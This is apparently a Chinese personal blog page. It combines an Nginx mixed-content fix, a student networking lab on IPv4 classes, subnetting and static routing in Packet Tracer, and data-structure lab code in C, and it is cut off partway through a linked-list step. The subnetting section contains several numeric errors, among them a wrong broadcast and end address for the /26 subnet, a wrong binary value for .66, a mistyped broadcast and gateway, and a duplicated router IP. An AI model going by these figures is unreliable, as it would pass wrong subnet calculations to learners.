2022年12月

Nginx Mixed_content 错误

代码里面写的不是很好,如果强制https访问,有些时候会打到http上,但是https不允许访问http,所以要进行修改

Nginx

添加

这里有个坑,如果你用了反代,需要在最底层的反代服务器上设置这个参数。

如果在表层的反代,似乎会替换掉这个参数。

add_header 'Content-Security-Policy' 'upgrade-insecure-requests';
server {
    # listen 80;
    listen 443 ssl;
    # error_page 497  https://$host$request_uri;
    
    #↓在这里设置没有用,得在被代的服务器上设置
    #add_header Content-Security-Policy "upgrade-insecure-requests;connect-src *";
    location / {
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_set_header X-Forwarded-Proto https;
        add_header Content-Security-Policy upgrade-insecure-requests;

        proxy_pass http://host.docker.internal:8001;
        
    }
}

Html

在http头设置,好像还挺管用

<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests"/>

计网实验3 子网掩码与划分子网

更新中:当前1.013,记得有空刷新网页。

主要的是理解这个概念,实操步骤其实很快很容易。

更新链接:https://type.dayiyi.top/index.php/archives/109/

文件下载

如果你实在配不动了,下这个文件参考一下即可,这是本文中已经配完的文件

实验中的pkt文件

https://cute-pic.cute.ac.cn/blog/pic_bed/net_3_by_dayi_a3e3cef2-764c-11ed-a1eb-0242ac120002.zip

https://p.dabbit.net/blog/pic_bed/net_3_by_dayi_a3e3cef2-764c-11ed-a1eb-0242ac120002.zip

IP地址

此处说的都是IPV4

  • IP(Internet Protocol Address)
  • 由4个字节,即32位二进制组成
  • 将每个字节分为一组,共分为4组
  • 也就是
  • 00000000.00000000.00000000.00000000

IPV4地址划分

目前网络绝大部分用的CIDR(无类别域间路由),已经不区分ABC类地址。但是就像原子是电子云,但是原子轨道仍有参考价值。

RFC1918对IP地址的分类 | 分类网络

A类IPv4地址B类IPv4地址C类IPv4地址
网络标志位010110
IP地址范围0.0.0.0~127.255.255.255128.0.0.0~191.255.255.255192.0.0.0~223.255.255.255
可用IP地址范围1.0.0.1~127.255.255.254128.0.0.1~191.255.255.254192.0.0.1~223.255.255.254
是否可以分配给主机使用
网络数量(个)126 (27-2)16384 (214)2097152 (221)
适用范围大量主机的大型网络中等规模主机数的网络小型局域网

image-20221208004634851

对于特殊的IP地址

网络号主机号是否可以作为源地址是否可以作为目的地址备注/描述
全为0全为0允许禁止表示本网主机
全为0Host ID允许禁止表示特定主机
全为1全为1禁止允许定向广播地址
127任意合法的值允许允许迂回地址,用于本地测试
Network ID全为1禁止允许直接广播地址

image-20221208004649831A类

  • 0.0.0.0 表示这个网络上的这个主机,如果你连的是互联网,这个就是全网的任意主机。可以这么感性理解,路由器和你在一个网络上,路由器把上的其他主机的信息发送给你,类似邮差,这样发给你。

D类

  • 网络标志位 1110
  • 224.0.0.0~239.255.255.255
  • 不可分配至主机,组播地址

E类

  • 网络标志位 11110
  • 240.0.0.0~247.255.255.255

广播地址

  • 255.255.255.255
  • 对应的二进制全为1是本地广播地址。
  • 广播地址同样的也是发送给FF:FF:FF:FF:FF:FF,交换机广播给所有的接口。

本地回环

  • 127.0.0.1-127.255.255.254

    访问到的都是自己,也叫作回环。

网络标志位

这是在二进制下的。

都是8位地址的开头两位或者三位

  • A类的开头:00...
  • B类的开头:10...
  • C类的开头:110...

比如

B类

00000000.00000000.00000000.00000000
10...... ........ ........ ........

↑这个
8位的二进制,如果第一位是1,后面的值再怎么变,最小值也是2^7=128了
由于是10
那样最大情况就是:
10111111 = 2^7+0*2^6+2^5+2^4+2^3+2^2+2^1+2^0 = 191

这样B类地址主机的范围就是128-191.xxx.xxx.yyy
其中xxx的范围是0-255
其中yyy的范围是1-254

C类

C类地址也同理

11000000.00000000.00000000.00000000
到
11011111.11111111.11111111.11111111

实际上就是这个IP段,但是对于全0的叫网络号,全1的叫广播

而
11011111
对应的十进制是223

image-20221207113010293

因此,我们可以得到

C类的地址的范围

192.0.0.0~223.255.255.255

网络号和主机号

来个奇怪的例子。

网络号相当于

  • 兔子猴子猫猫家园

主机号相当于

  • 1号楼304室
  • 章鱼哥的小屋子
  • 海绵宝宝家
  • 派大星的石头
  • 板栗猫的家
  • 板栗猫的电脑

如果我是一名开发商,我现在申请了猫猫家园的地皮(也就是网络号)

现在我可以去把每块地皮分配给不同的猫。(也就是主机号)

比如我申请了192.168.233.0/24这个IP地址作为猫猫家园的地皮

假设已经知道了,可以分的地皮是这个范围

  • 192.168.233.1
  • 192.168.233.2
  • ...
  • 192.168.233.253
  • 192.168.233.254

你把192.168.233.66分给了派大星的电脑

你把192.168.233.67分给了派大星的手机

你把192.168.233.6分给了板栗猫,虽然板栗猫有200多个设备,但是只能有一个设备在线。

你把192.168.233.10分给了章鱼哥的竖笛音乐服务器

你把192.168.233.12分给了章鱼哥的爪机

其中192.168.233.0叫做网络号也就是猫猫家园的网络号

而对于192.168.233.66 ,192.168.233.10这些IP中的,66,10就叫做主机号啦

如果在二进制下

192     .168     .233      .66    
11000000|10101000|1110 1001|00110110
<------------------------->|<------>
           网络号              主机号

前面这些是网络号,后面的就是主机号啦

子网掩码

上面的划分也引发出了第二个问题。

如何区分网络号和主机号。

这就是子网掩码要做的事情。

子网掩码类似于 IP 地址,但仅在网络内部使用。路由器使用子网掩码将数据包路由到正确的位置。在互联网上传输的数据包中并不含子网掩码——这些数据包仅指示目标 IP 地址,路由器会将其与子网进行匹配。

而对于分类网络:

分类网络是在是1993年之前,未引入CIDR在互联网,使用的一种网络架构架构。

在分类网络中|没有引入CIDR的时候

我们默认认为是这样:

其中x代表网络号,y代表主机号

A类的地址:
0.  0.  0.  0   = 00000000.00000000.00000000.00000000
127.255.255.255 = 01111111.11111111.11111111.11111111
                  0xxxxxxx.yyyyyyyy.yyyyyyyy.yyyyyyyy
B类的地址:    
128.  0.  0.  0 = 10000000.00000000.00000000.00000000
191.255.255.255 = 10111111.11111111.11111111.11111111
                  10xxxxxx.xxxxxxxx.yyyyyyyy.yyyyyyyy
    
C类的地址:  
192.  0.  0.  0 = 11000000.00000000.00000000.00000000
223.255.255.255 = 11011111.11111111.11111111.11111111
                = 110xxxxx.xxxxxxxx.xxxxxxxx.yyyyyyyy
   
分类前缀码开始地址结束地址对应子网掩码默认子网掩码
A类地址00.0.0.0127.255.255.255/8255.0.0.0
B类地址10128.0.0.0191.255.255.255/16255.255.0.0
C类地址110192.0.0.0223.255.255.255/24255.255.255.0
D类地址 (组播)1110224.0.0.0239.255.255.255/4未定义
E类地址 (保留)1111240.0.0.0255.255.255.255/4未定义

约定俗称,也就可以根据一个IP地址,就确定网络号主机号

但是,这样子,A类地址只能分给128个人

假设小兔子有一个服务器,于是申请了A类,但是分配的数量是255*255*255-2=16581375-2=16581373个IP地址。

这造成了很大的浪费,而且其他没有IP的猫猫,狗狗,分配不到IP,更别提网上冲浪了。

于是引入了CIDR

如果没有引入CIDR,也就是子网长度是不可变的。

子网掩码其实挺简单滴,把网络号的位数设置为1,主机号设置为0

192     .168     .233      .66    
11000000|10101000|11101001 |00110110
<------------------------->|<------>
           网络号              主机号
    
上面是一个C类的IP地址。

我们已经知道或者说要规定网络号是192.168.233.0/24

于是,子网掩码就是255.255.255.0

            192     .168     .233      .66    
IP地址:      11000000|10101000|11101001 |00110110
子网掩码:      11111111|11111111|11111111 |00000000 
            <------------------------->|<------>
                     网络号              主机号
而对应的十进制就是255.255.255.0

对于A类的地址同理

10.  123.  123.  0   = 00000000.00000000.00000000.00000000
255.   0.    0.  0   = 11111111.00000000.00000000.00000000
                       <------>|<------------------------->
                         网络号              主机号

引入CIDR

但是这样仍然不够,还是没有解决IP地址分配过剩的问题。

于是,引入CIDR,CIDR叫做无类别域间路由

核心是:可变长子网掩码(VLSM)

  • 可以指定任意长度的前缀的可变子网掩码。
  • 将多个连续的前缀聚合
  • 根据实际情况,而不是分类网络中固定的掩码来分配IP

而引入后,分类网络中的规定只是可以用来参考。

实际上完全可以忽视分类网络的规定。

举个例子

如果直观的感受一下,就是大概这个样子:

  • 255.255.255.0 对应的二进制是

    11111111.11111111.11111111.00000000 
    前面有24个1                   8个0
    
    假设有一个网络号
    网络号: 192.168.233.0
    子网掩码:255.255.255.0

    如果网络号为:192.168.233.0,则可以直接简单记为192.168.233.0/24 ,前面是网络号,后面是子网掩码长度。

  • 如果我们的实际需求不需要根据A类地址分配那么多主机,我们只需要分配240个左右即可

    那么可以这么做

    网络号:  10.  1. 1. 0
    子网掩码:255.255.255.0 对应就是/24
    
    二进制下是这个样子:
    网络号  : 00001010.00000001.00000001.00000000
    子网掩码: 11111111.11111111.11111111.00000000
    
    可以分配的IP
    10.1.1.1-254
    
    其中 10.1.1.0记录为网络号,254

    上面的例子中的CIDR方式的话,可以记作:10.1.1.0/24

  • 同样的,我也可以分配更多的主机:10.0.0.0/8

    10.0.0.0/8
    
    00001010.00000000.00000000.00000000 -> 10 .1.1.0 |网络号
    11111111.00000000.00000000.00000000 -> 255.0.0.0 |子网掩码,只有8位
  • 上面的都是常规的子网掩码的例子,/24 (255.255.255.0)/16 (255.255.0.0)/8 (255.0.0.0),比较符合十进制的认知,而下面如果不是这三个数,是否还是可以的呢?

    是可以的。

这似乎解决了一定的IP不够用的问题

我可以在分配的时候不用分配整个A类,我虽然分给猫猫的是A类的IP,但是实际上,我只给猫猫了一个/24,也就是只有254个可用IP。

但是似乎也没有完全解决。

板栗只有8个设备,我假设分配给他254个IP,就会有浪费。

非 常规地址位 的划分

目前我有一个IP段,192.168.233.0/24

我分给板栗IP,我只想给它分配14个IP,应该怎么做?

先给出答案:

我利用192.168.233.0/28,划分出16个子网。

每个子网分别是:

子网网段起始IP结束IP广播地址
192.168.233.0192.168.233.1192.168.233.14192.168.233.15
192.168.233.16192.168.233.17192.168.233.30192.168.233.31
192.168.233.32192.168.233.33192.168.233.46192.168.233.47
192.168.233.208192.168.233.209192.168.233.222192.168.233.223
192.168.233.224192.168.233.225192.168.233.238192.168.233.239
192.168.233.240192.168.233.241192.168.233.254192.168.233.255

image-20221208020404505

如果子网掩码前面有28个1,对应的子网掩码是255.255.255.240

我只需要要将其中的一个子网给板栗即可。

如果我是板栗猫

dayi给我了三个子网

第一个是 192.168.233.0/28

第二个是 192.168.233.16/28

第三个是 192.168.233.224/28

这三个子网都拥有16个IP地址,可以分配的地址有14个(除去一个网络号和广播IP)

上面并不好理解,但是如果再二进制下,还是挺好理解的。

在二进制下就是这样的:

 192     .168     .233     .1
 11000000.10101000.11101001.0000   0001 <-IP地址
 11111111.11111111.11111111.1111   0000 <-子网掩码
|<------------网络号------------>|<-主机号->       

可以看到,IP地址的后四位的主机号,是可以分配的。

总共有4位二进制,2x2x2x2=16(排列组合),正好可以分配16个IP,去掉一个广播IP:1111 = 15(192.168.233.15),去掉一个网络号:0000 = 0(192.168.233.0),正好有14个IP地址可以正常用滴

对于第二个子网:192.168.233.16/28

 192     .168     .233     .17
 11000000.10101000.11101001.0001   0001 <-IP地址
 11111111.11111111.11111111.1111   0000 <-子网掩码
|<------------网络号------------>|<-主机号->   

两者的差别也就是网络号中有差别,主机号仍然是4位二进制。

但是如果将这个东东转换到10进制,因为最后一位的网络号和主机号合起来计算为十进制,就导致了有些时候难以理解。同样可以分配的地址是:删掉一个广播IP1111192.168.233.31,0001|1111=31),删掉一个网络号IP 0000 ( 192.168.233.16 ,0001|0000=16)

同样的:

而对于第三个子网:192.168.233.224/28

 192     .168     .233     .225
 11000000.10101000.11101001.1110   0001 <-IP地址
 11111111.11111111.11111111.1111   0000 <-子网掩码
|<------------网络号------------>|<-主机号->      

广播IP:192.168.233.239 ,1110 1111 = 239

网络号:192.168.233.224 ,1110 0000 = 224

过程中可以用win10,win11的计算器调到程序员模式计算下二进制

image-20221207184611556

网关

网关是一个普通的IP地址,任何电脑都可以做网关。

但是网关还有一个邮递员的作用。

比如,当前网络是:192.168.233.0/24

我想访问 type.dayiyi.top 也就是这个IP39.105.181.66

当前网络里面的主机,我根据子网掩码算出,39.105.181.66,不是当前网络的IP,于是我告诉网关,兔子想网上冲浪。

于是网关收到信息,把想冲浪的消息发给网关的网关,一层一层的找(实际过程涉及BGP,挺麻烦滴),直到找到这个主机。然后再一层一层的返回数据,最后网关就把网页发给你啦!

操作内容分析

现要将一C类网段地址192.168.18.0/24分成四个子网(主机数为80,50,24)。若按固定子网掩码的方式来划分该C类IP地址,要将该IP划分成4个子网,需要使用8位主机号的三位(可划分2^3-2=6个子网),剩下的5位主机号最多只能容纳2^5-2=30台主机,不满足要求。

根据要求

  • 需要划分的子网段是192.168.18.0/24
  • 要分成4个子网
  • 前3个子网的主机数量为:80 50 24
  • 最后一个子网10台公共设备(根据原文后面推出)

如果均等划分,最后可以得到的IP数量不足

于是可以这么划分

  • 192.168.18.0/24 (可用:256台主机)

    • 192.168.18.0/25 (可用:126台主机 | 子网1:80台)
    • 192.168.18.128/25(可用:126台主机)

      • 192.168.18.128/26 (可用:62台主机|子网2:50台)
      • 192.168.18.192/26 (可用:62台主机)

        • 192.168.18.192/27 (可用:30台主机|子网3:24台)
        • 192.168.18.224/27 (可用:30台主机|子网4:10台)

这样就可以划分为4个子网啦

最后可以得到这个表格

子网网段起始IP结束IP广播地址CIDR子网掩码
子网1192.168.18.0192.168.18.1192.168.18.126192.168.18.127192.168.18.0/25255.255.255.128
子网2192.168.18.128192.168.18.129192.168.18.158192.168.18.159192.168.18.128/26255.255.255.192
子网3192.168.18.192192.168.18.193192.168.18.222192.168.18.22192.168.18.192/27255.255.255.224
子网4192.168.18.224192.168.18.225192.168.18.254192.168.18.255192.168.18.224/27255.255.255.224

image-20221207205652060

实验

配好第一个子网

信息

【子网1-主机数量80台】

  • CIDR:192.168.18.0/25
  • 起始IP:192.168.18.1
  • 终止IP:192.168.18.126
  • 网关:192.168.18.1
  • 子网掩码:255.255.255.128
  • 广播地址:192.168.18.127
  • 网络号:192.168.18.0

开配

  1. 找出交换机来,再找出4个电脑来

    image-20221207205030507

  2. 用这个auto线连起来

    image-20221207205114250

  3. 给他们配上IP

    第一个子网是: 192.168.18.0/25 对应的子网掩码是: 255.255.255.128 ,网关就配192.1688.18.1

    • 192.168.18.1 (给路由器留的IP,也作为网关啦,就临时不要用啦)
    • 192.168.18.2
    • 192.168.18.3
    • 192.168.18.4
  4. 还记得怎么配IP吗?

    image-20221207205819732

  5. 像这样:

    image-20221207205900429

  6. 这里可以改底色,画正方形哦

    image-20221207210325169

  7. 把几台电脑依次配好,大概最后是这样,你也可以随便标注一下哦

    image-20221207212657880

  8. 如何修改主机下面的文字?

    image-20221207214515027

  9. 尝试相互之间ping一下,都是互通滴

    image-20221207210955531

配好第二个子网

信息

第二个子网的信息如下:

【子网2-主机数量50台】

  • CIDR:192.168.18.128/26
  • 起始IP: 192.168.18.129
  • 终止IP:192.168.18.158
  • 子网掩码:255.255.255.192
  • 网关:192.168.18.129
  • 广播地址:192.168.18.159
  • 网络号:192.168.18.128

开配

  • IP的分配,这里网关就用192.168.18.129啦

    • 192.168.18.129 等会分给路由器,作为网关
    • 192.168.18.130-158 任意取哦
  • 子网掩码是:255.255.255.192,不要填错了哦

    image-20221207212927691

  • 配完之后大概这个样子!

    image-20221207213442125

  • 也可以测测相互通不通

    image-20221207213736390

配好第三个子网

信息

第三个子网的信息如下:

【子网3-主机数量24台】

  • CIDR:192.168.18.192/27
  • 起始IP: 192.168.18.193
  • 终止IP:192.168.18.222
  • 子网掩码: 255.255.255.224
  • 网关:192.168.18.193
  • 广播地址:192.168.18.223
  • 网络号:192.168.18.192

开配

其实就是重复性的工作啦

  • 分配IP

    • 192.168.18.193 作为路由器IP
    • 192.168.18.194-222 都可以分
  • 子网掩码

    255.255.255.224
  • 网关

    Q:可不可以不是这个IP?A:可以,但是大多数的网关都是最开始的地址或者最后一个地址
    192.168.18.193
  • 继续配就好啦

    image-20221207214313382

    image-20221207214653884

  • 当当

    image-20221207214927687

配好第四个子网

信息

第四个子网的信息如下:

【子网4-主机数量10台-访客】

  • CIDR:192.168.18.224/27
  • 起始IP: 192.168.18.225
  • 终止IP:192.168.18.254
  • 子网掩码: 255.255.255.224
  • 网关: 192.168.18.225
  • 广播地址:192.168.18.255
  • 网络号:192.168.18.224

开配

重复性的工作啦

  • 分配IP

    • 192.168.18.225 作为路由器IP
    • 192.168.18.226-254 都可以分
  • 子网掩码

    255.255.255.224
  • 网关

    192.168.18.225
  • 重复性滴工作

    image-20221207215244209

  • 当当

    image-20221207215708137

选择路由器

不要用交换机

  • 因为是四个网络,如果你用交换机作为核心的话,四个网络之间不会互通。

    • 如果进行抓包可以发现,ARP请求不会得到回应。

      image-20221207220220077

喵呀,老师的课上内容少一点,但是也可以做啦!

为了完成作业,下面内容变得相对于课上要复杂一些。

咱们也不弄的太复杂,BGP之类的就先不用啦,从简单说下原理。

就用静态路由寻路就可以。

路由器寻路

下面是理论环节,实际步骤可以继续往下翻即可

对于静态路由。

这是两个路由器,他们之间要想相互访问,就需要路由器在同一个网段下。

image-20221207230352968

假设,路由器0还接着,192.168.18.1这个ip

image-20221207230633271

如果192.168.18.0/24有请求来到路由器0,想继续访问192.168.18.226/27

我们通过拓扑图很容易可以看到,流量发给路由器 1即可。

但是,我们路由器不是AI,不是GPT3,他不知道包要发给谁。

这个时候我们就要手动配置路由表的下一跳。

image-20221207231326319

这样子就可以啦。

主线不相关:如何显示接口

  • ctrl+R

    image-20221207220848417

  • 选择这个

    image-20221207220920237

配置路由器信息

选2911路由器

因为2911有三个网口,可以省一点设备费(也省点人工费

要两个2911路由器。

路由器之间的IP地址

  • 路由器0:10.0.0.1/8
  • 路由器1:10.0.0.2/8

把路由器之间连起来

拿出两个路由器之后,用AUTO闪电线连起来。(你也可以在两个路由器之间放个交换机,不影响滴)

image-20221207232118709

配置路由器0的IP地址

  • 选择路由器
  • config->接口0/0->打开网口->填入IP 10.0.0.1/8

image-20221207232330041

配置路由器1的IP地址

  • 选择路由器
  • config -> 0/0 -> 打开->配置IP:10.0.0.1/8

image-20221207232643871

路由器 0 连入两个子网

注意,接口和网关要对应起来,这里的路由器0/1口对应的是子网1的网关IP。

你连的接口可能跟我的不一样(我的是0/1连到子网1,你可能是0/2连到子网1)

  • 用闪电线连接两个子网的交换机(如果闪电线连不上,就用黑色的线直接连就可以端口选fastethernet<->GigabitEtherbet就可以)
  • 记下连接的是路由器的哪个端口
  • 配置路由器的IP地址,路由器作为子网的网关

image-20221207233453832

配置接口0/1
  • IP地址:192.168.18.1
  • 子网掩码:255.255.255.128
  • 没错,路由器就是网关

image-20221207233631609

配置接口0/2
  • IP地址:192.168.18.129
  • 子网掩码:255.255.255.192

image-20221207233725019

路由器 1 连入两个子网

跟路由器0同理

实际的接口是1还是2请根据你连接的子网和端口来确定
配置接口0/1
  • IP地址:192.168.18.225
  • 子网掩码:255.255.255.224
配置接口0/2
  • IP地址:192.168.18.193
  • 子网掩码:255.255.255.224

image-20221207234035674

目前的链路图

image-20221207234320268

配置路由器的静态路由

路由器能够把连接到自身的网络进行相互转发
在路由器0配置静态路由
  • 我们知道以下两个网络,应该是通过路由器1转发的。

    • 192.168.18.224/27
    • 192.168.18.192/27
  • 路由器1在路由器之间的内网IP为:10.0.0.2/8
  • 于是我们希望访问224和192的网络的时候,流量转发到10.0.0.2即可。
  • 于是我们配置如下的静态路由

    • 静态路由1

      • 网络号:192.168.18.224
      • 子网掩码:255.255.255.224
      • 下一跳:10.0.0.2
    • 静态路由2

      • 网络号:192.168.18.192
      • 子网掩码:255.255.255.224
      • 下一跳:10.0.0.2
  • 配置方法入下:

    • 打开路由,进入config,添加静态路由

      image-20221207235202671

    • 如图,添加两个静态路由。

      image-20221207235244217

在路由器1配置静态路由

我们目前路由器0知道了哪些流量应该转发给1,但是1并不知道哪些流量应该转发给0

于是进行如下配置:

  • 打开路由器1
  • 添加两条静态路由

    • 静态路由1

      • 网络号:192.168.18.0
      • 子网掩码:255.255.255.128
      • 下一跳:10.0.0.1
    • 静态路由2

      • 网络号:192.168.18.128
      • 子网掩码:255.255.255.192 (注意这里跟上面不一样)
      • 下一跳:10.0.0.1
  • 关闭即可

    image-20221207235848351

至此,完成配置

最终网络拓扑图

image-20221208001956378

尝试互相访问网络

尝试用

  • 192.168.18.196

    • 访问192.168.18.228 (子网4)
    • 访问192.168.18.157 (子网2)
    • 访问192.168.18.4 (子网1)
    • 访问均可以互通,ping可以正常发包回包,表示双方均可以正常通信。

      image-20221208001924033

      image-20221208002046638

  • 192.168.18.4

    • 192.168.18.228 (子网4)
    • 192.168.18.196 (子网3)
    • 192.168.18.157 (子网2)
    • 10.0.0.2
    • 均可以互通

      image-20221208002545201

      image-20221208002708671

  • 路由追踪:

    • 192.168.18.227

      image-20221208002903154

      image-20221208002952839

文件下载

实验中的pkt文件

https://pic.icee.top/blog/pic_bed/net_3_by_dayi_a3e3cef2-764c-11ed-a1eb-0242ac120002.zip

实验结束。

数据结构与算法实验报告

|顺序表|顺序表的查找操作

1. 实训题目

本题要求实现一个函数,要求从顺序表中查找指定元素,并返回第一个查找成功的元素在表中的位置序号,若查找失败,则返回0;

函数接口定义:

int LocateElem(SqList L,ElemType e);

其中SqList结构定义如下:

typedef struct{
    ElemType *elem;
    int length;
 }SqList;

裁判测试程序样例:

#include <stdio.h>
#include <stdlib.h>
#define MAXSIZE 5
typedef int ElemType;
typedef struct{
    ElemType *elem;
    int length;
}SqList;
void InitList(SqList &L);/*细节在此不表*/
int LocateElem(SqList L,ElemType e);
int main(){
    SqList L;
    InitList(L);
    ElemType e;
    int p;
    scanf("%d",&e);
    p=LocateElem(L,e);
    printf("The position of %d in SequenceList L is %d.",e,p);
    return 0;
}
/* 请在这里填写答案 */

2. 算法思想

顺序表的遍历

3. 算法步骤

  • 因为是顺序表,所以,第一个指针指向0就可以。(也可以说指到表头)
  • 设置一个计数器i,初始化为0
  • 从第一个节点开始访问,访问到L.length-1的点。
  • 如果找到与元素e相同的元素,返回i+1,因为存储单位是从0开始的。

4. 源代码

int LocateElem(SqList L,ElemType e){
  for(int i=0;i<L.length;++i){
    if(L.elem[i]==e)return i+1;
  }
  return 0;
}

|顺序表|顺序表的插入操作

1.实训题目

本题要求实现一个函数,在顺序表的第i个位置插入一个新的数据元素e,插入成功后顺序表的长度加1,函数返回值为1;插入失败函数返回值为0;

函数接口定义:

int ListInsert(SqList &L,int i,ElemType e);

其中SqList结构定义如下:

typedef struct{
    ElemType *elem;
    int length;
}SqList;

裁判测试程序样例:

#include <stdio.h>
#include <stdlib.h>
#define MAXSIZE 5
typedef int ElemType;
typedef struct {
  ElemType *elem;
  int length;
} SqList;
void InitList(SqList &L); /*细节在此不表*/
int ListInsert(SqList &L, int i, ElemType e);
int main() {
  SqList L;
  InitList(L);
  ElemType e;
  int i;
  scanf("%d%d", &i, &e);
  int result = ListInsert(L, i, e);
  if (result == 0) {
    printf("Insertion Error.The value of i is unlawful or the storage space is "
           "full!");
  } else if (result == 1) {
    printf("Insertion Success.The elements of the SequenceList L are:");
    for (int j = 0; j < L.length; j++) {
      printf(" %d", L.elem[j]);
    }
  }
  return 0;
}
/* 请在这里填写答案 */

2.算法思想

顺序表的插入操作。

先将i后面的元素整体后移,然后插入元素和维护长度。

3.算法步骤

  • 存储的时候是以0开始存储的,所以开始的时候让i--,这样可以更加方便的写代码
  • 判断非法条件,i>=L.length i大于L的长度,i小于0L的长度已经到达最大值,都返回0
  • 设置计数器ii,初始化为L的长度-1
  • iiL的长度-1递减到ii,每次减1
  • 赋值:让L的第ii+1元素的值为第ii元素的值
  • 插入元素:修改第i个元素的值为e
  • 维护表长:L的长度+1
  • 返回状态

4.源代码

int ListInsert(SqList &L,int i,ElemType e){
  i=i-1;
  if(i>L.length||i<0)return 0;//大于长度
  if(L.length==MAXSIZE)return 0;
  for(int ii=L.length-1;ii>=i;--ii){//后移元素
      L.elem[ii+1]=L.elem[ii];
    }
  L.elem[i]=e;//修改元素
  L.length++;//修改表长
  return 1;
}

|顺序表|顺序表的删除操作

1.实训题目

本题要求实现一个函数,要求将顺序表的第i个元素删掉,成功删除返回1,否则返回0;

函数接口定义:

int ListDelete(SqList &L,int i);

其中SqList结构定义如下:

typedef struct{
    ElemType *elem;
    int length;
 }SqList;

裁判测试程序样例:

#include <stdio.h>
#include <stdlib.h>
#define MAXSIZE 5
typedef int ElemType;
typedef struct {
  ElemType *elem;
  int length;
} SqList;
void InitList(SqList &L); /*细节在此不表*/
int ListDelete(SqList &L, int i);
int main() {
  SqList L;
  InitList(L);
  int i;
  scanf("%d", &i);
  int result = ListDelete(L, i);
  if (result == 0) {
    printf("Delete Error.The value of i is illegal!");
  } else if (result == 1) {
    printf("Delete Success.The elements of the SequenceList L are:");
    for (int j = 0; j < L.length; j++) {
      printf(" %d", L.elem[j]);
    }
  }
  return 0;
}
/* 请在这里填写答案 */

2.算法思想

顺序表的删除操作。

将i后面的元素整体后移,然后维护长度。

3.算法步骤

  • 判断非法条件: 都返回0

    • i大于L的长度,
    • i小于等于0
    • L的长度已经到达最大值。
    • L的长度小于1
  • 设置计数器j,初始化为i-1
  • ji-1递增到L.elem-2,每+1
  • 赋值:让L的第j个元素的值为L的第j+1的元素的值
  • 维护表长:L.length -1
  • 返回状态值

4. 源代码

int ListDelete(SqList &L,int i){
  if(L.length<1||i>L.length||i<=0)return 0;
  for(int j=i-1;j<L.length-1;++j){//从i-1到L.elem-2 进行操作
    L.elem[j]=L.elem[j+1];
  }
  L.length-=1;//修改长度
  return 1;
}

|顺序表|求顺序表最大值

1.实训题目

本题要求实现一个函数,要求返回顺序表的最大值,空表返回0。题目保证顺序表中所有元素都为正整数。

函数接口定义:

int GetMax(SqList L);

其中SqList结构定义如下:

typedef struct{
    ElemType *elem;
    int length;
}SqList;

裁判测试程序样例:

#include <stdio.h>
#include <stdlib.h>
#define MAXSIZE 5
typedef int ElemType;
typedef struct{
    ElemType *elem;
    int length;
 }SqList;
void InitList(SqList &L);/*细节在此不表*/
int GetMax(SqList L);

int main()
{
    SqList L;
    InitList(L);
    int p;
    p=GetMax(L);
    if(p) printf("The max of SequenceList L is %d.\n",p);
    else printf("The SequenceList is null.\n");
    return 0;
}

/* 请在这里填写答案 */

2.算法思想

枚举顺序表中的每一个元素。

然后进行判断是否为当前的最大值

3.算法步骤

  • 判断非法条件: 都返回0

    • L的长度为0
  • 定义一个无限大的数cmax0x3f3f3f3f (7f7f7f7f容易爆int)
  • i0递增到L.length-1,每+1
  • 赋值:让cmaxcmaxL的第i个的元素的最大值
  • 返回cmax

4. 源代码

int max(int a,int b){return a>b?a:b;}
int GetMax(SqList L){
  if(L.length==0)return 0;
  int cmax=-0x3f3f3f3f;
  for(int i=0;i<L.length;++i){
    cmax=max(cmax,L.elem[i]);
  }
  return cmax;
}

|顺序表|后记

过程中用了这个调试代码来初始化和调试

void InitList(SqList &L){
  L.elem=new ElemType[MAXSIZE];//线性表标记到数组
  L.length = 0;//设置当前的长度为0
  for(int i=0;;++i){//读入
    ElemType e;
    scanf("%d",&e);
    if(e==-1)break;//如果是-1 break掉
    L.elem[L.length++]=e;//插入
  }
}

|链表|求单链表的表长

1.实训题目

本题要求实现一个函数,求带头结点的单链表的表长。

函数接口定义:

int Length ( LinkList L );

其中LinkList结构定义如下:

typedef struct LNode{
    ElemType data;
    struct LNode *next;
}LNode,*LinkList;

L是带头结点的单链表的头指针,函数Length返回单链表的长度。

裁判测试程序样例:

#include <stdio.h>
#include <stdlib.h>
typedef int ElemType;
typedef struct LNode {
  ElemType data;
  struct LNode *next;
} LNode, *LinkList;
LinkList Create(); /* 细节在此不表 */
int Length(LinkList L);
int main() {
  LinkList L = Create();
  printf("%d\n", Length(L));
  return 0;
}
/* 你的代码将被嵌在这里 */

输入样例:

2 1 4 5 3 -1

输出样例:

5

2. 算法思想

枚举每个节点,然后计数器自增。

3. 算法步骤

  • 申请一个临时变量siz作为计数器,并且初始化为0
  • iL-next开始,每次赋值为i->next
  • 每次循环进行加1
  • 返回siz

4. 源代码

int Length ( LinkList L ){
  int siz=0;
  for(LinkList i=L->next;i!=NULL;i=i->next){
    siz++;
  }
  return siz;
}

|链表|带头结点的单链表插入操作

1. 实训题目

6-2 带头结点的单链表插入操作

本题要求实现带头结点的单链表插入操作,插入成功返回1,否则返回0。

函数接口定义:

int insert_link ( LinkList L,int i,ElemType e);

L是单链表的头指针,i为插入位置,e是插入的数据元素,插入成功返回1,否则返回0。

裁判测试程序样例:

#include <stdio.h>
#include <stdlib.h>
typedef int ElemType;
typedef struct LNode {
  ElemType data;
  struct LNode *next;
} LNode, *LinkList;
LinkList Create(); /* 细节在此不表 */
void print(LinkList L);
int insert_link(LinkList L, int i, ElemType e);
int main() {
  int position, insert_data;
  int flag;
  LinkList L = Create();
  scanf("%d", &position);
  scanf("%d", &insert_data);
  flag = insert_link(L, position, insert_data);
  if (flag) {
    print(L);
  } else {
    printf("Wrong Position for Insertion");
  }
  return 0;
}
void print(LinkList L) {
  LinkList p;
  p = L->next;
  while (p) {
    printf("%d ", p->data);
    p = p->next;
  }
}
/* 请在这里填写答案 */

输入格式:

输入数据为三行,第一行是若干正整数,最后以-1表示结尾(-1不算在序列内,不要处理)。所有数据之间用空格分隔。
第二行数据是插入位置,第三行数据是被插入元素值。

输入样例:

1 2 3 4 5 6 -1
2 
100

输出样例:

1 100 2 3 4 5 6 

2.算法思想

判断非法条件之后,找到需要插入位置i前一个节点,新建节点进行插入,同时维护链表。

3.算法步骤

  • 先计算大小,方法如同求单链表的表长,申请变量siz,从j=L开始,每次赋值j=j->next:,每次循环siz自增。
  • 如果插入的坐标i小于0或者大于 链表的长度,则不是合法插入,返回0
  • 申请新的内存。
  • 初始化新的节点ovo
  • 设置循环变量j,初始化为j=L,终止条件j!=NULL,循环赋值j=j->next
  • 如果++cnt的值为i,也就是j的后继为待插入位置

